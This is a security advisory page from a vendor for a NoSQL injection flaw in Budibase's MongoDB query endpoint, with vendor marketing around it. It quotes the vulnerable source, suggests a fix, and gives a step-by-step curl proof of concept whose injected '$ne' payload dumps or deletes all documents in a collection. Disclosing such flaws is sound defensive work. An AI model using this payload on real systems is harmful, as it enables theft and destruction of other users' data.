Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

GHSA-qw6m-8fw2-2v64

HIGHFix: Budibase/budibase#18907

GHSA-qw6m-8fw2-2v64 is a high-severity (CVSS 8.3) CWE-943 vulnerability in @budibase/server. O3 Security confirms whether GHSA-qw6m-8fw2-2v64 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution

Also known asCVE-2026-73618
Published
Jul 24, 2026
Updated
Aug 14, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Sep 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-qw6m-8fw2-2v64.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs21th percentile — riskier than 21% of all scored CVEsHighest risk
0.00%0.26%0.53%0.79%0.3%0.3%Sep 26Sep 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-qw6m-8fw2-2v64 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 369,023 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

1other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@budibase/servernpm
12Kdownloads / week

Description

Summary

Budibase's MongoDB query execution endpoint (POST /api/v2/queries/:queryId) is vulnerable to NoSQL injection through user-supplied query parameters. The enrichContext() function interpolates parameter values into JSON query templates using Handlebars with noEscaping: true, then parses the result with JSON.parse(). An attacker can inject JSON metacharacters (", {, }) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents.

Details

The vulnerability exists because input validation and interpolation are misaligned. The validateQueryInputs() function blocks Handlebars template syntax ({{}}) but does not sanitize JSON structural characters:

packages/server/src/api/controllers/query/index.ts:57-69

function validateQueryInputs(parameters: QueryEventParameters) {
  for (let entry of Object.entries(parameters)) {
    const [key, value] = entry
    if (typeof value !== "string") {
      continue
    }
    if (findHBSBlocks(value).length !== 0) {
      throw new Error(
        `Parameter '${key}' input contains a handlebars binding - this is not allowed.`
      )
    }
  }
}

After validation passes, enrichContext() performs raw string interpolation with escaping explicitly disabled:

packages/server/src/sdk/workspace/queries/queries.ts:105-108

enrichedQuery[key] = processStringSync(fields[key], parameters, {
  noEscaping: true,
  noHelpers: true,
  escapeNewlines: true,
})

The interpolated string is then parsed as JSON at line 122:

packages/server/src/sdk/workspace/queries/queries.ts:122

enrichedQuery.json = JSON.parse(
  enrichedQuery.json ||
  enrichedQuery.customData ||
  enrichedQuery.requestBody
)

The parsed object flows directly into MongoDB driver calls with no further sanitization:

packages/server/src/integrations/mongodb.ts:509

return await collection.find(json).toArray()

packages/server/src/integrations/mongodb.ts:624

return await collection.deleteMany(json.filter, json.options)

Consider a saved query with a JSON template like {"username": "{{username}}"}. If an attacker provides the parameter value ", "$ne": " the interpolated string becomes {"username": "", "$ne": ""} — a valid JSON object that matches all documents where username is not empty, instead of matching a single specific user.

The route requires only PermissionType.QUERY, PermissionLevel.WRITE (packages/server/src/api/routes/query.ts:27), which is available to regular app users — not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints.

PoC

Prerequisites: A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a find query with {"username": "{{username}}"}).

Step 1: Authenticate as a regular app user

TOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \
  -H "Content-Type: application/json" \
  -d '{"username":"[email protected]","password":"password"}' \
  -c - | grep budibase:auth | awk '{print $NF}')

Step 2: Execute the query normally (returns only matching document)

curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
  -H "Content-Type: application/json" \
  -b "budibase:auth=$TOKEN" \
  -d '{"parameters": {"username": "alice"}}'
# Returns: [{"username": "alice", ...}]

Step 3: Inject NoSQL operator to dump all documents

curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
  -H "Content-Type: application/json" \
  -b "budibase:auth=$TOKEN" \
  -d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Returns: [{"username": "alice", ...}, {"username": "bob", ...}, {"username": "admin", ...}, ...]

The injected value ", "$ne": " transforms the query from {"username": "alice"} to {"username": "", "$ne": ""}, which matches all documents where username is not empty.

Step 4: Delete all documents via a delete query (if a delete-type query is saved)

curl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \
  -H "Content-Type: application/json" \
  -b "budibase:auth=$TOKEN" \
  -d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Deletes ALL documents matching the injected filter

Impact

  • Data exfiltration: Any app user with query write permission can bypass intended query filters to read all documents in a MongoDB collection, including sensitive data belonging to other users or tenants.
  • Data modification: Through updateMany queries, attackers can modify arbitrary documents in bulk by injecting broadened filters.
  • Data destruction: Through deleteMany queries, attackers can delete all documents matching an injected filter, potentially wiping entire collections.
  • Authorization bypass: The attack requires only QUERY WRITE permission, which is a standard app-level permission — not builder or admin access. This means any regular application user can exploit saved MongoDB queries they have access to execute.

Recommended Fix

Sanitize parameter values before interpolation by escaping JSON metacharacters. Apply this in enrichContext() before the processStringSync call:

packages/server/src/sdk/workspace/queries/queries.ts

// Add this helper function
function escapeJsonValue(value: string): string {
  return value.replace(/\\/g, "\\\\").replace(/"/g, '\\"')
}

// In enrichContext(), sanitize parameters before interpolation
for (const [key, value] of Object.entries(parameters)) {
  if (typeof value === "string") {
    parameters[key] = escapeJsonValue(value)
  }
}

Alternatively, adopt a parameterized query approach: instead of string interpolation into JSON, parse the template JSON first and then inject parameter values into the parsed object at the value level, preventing any structural modification of the query.

Additionally, add Joi validation to the execute endpoint (POST /api/v2/queries/:queryId) to constrain the shape of incoming parameter values, consistent with the validation already present on the save and preview endpoints.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
📦npm@budibase/serverall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of @budibase/server has shipped for GHSA-qw6m-8fw2-2v64 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-qw6m-8fw2-2v64 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-qw6m-8fw2-2v64. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Budibase's MongoDB query execution endpoint (`POST /api/v2/queries/:queryId`) is vulnerable to NoSQL injection through user-supplied query parameters. The `enrichContext()` function interpolates parameter values into JSON query templates using Handlebars with `noEscaping: true`, then parses the result with `JSON.parse()`. An attacker can inject JSON metacharacters (`"`, `{`, `}`) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents. ## Details The vulnerability exists because input validation an
O3 Security · Impact-Aware SCA

Is GHSA-qw6m-8fw2-2v64 in your dependencies?

O3 detects GHSA-qw6m-8fw2-2v64 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-qw6m-8fw2-2v64: @budibase/server… | O3 Security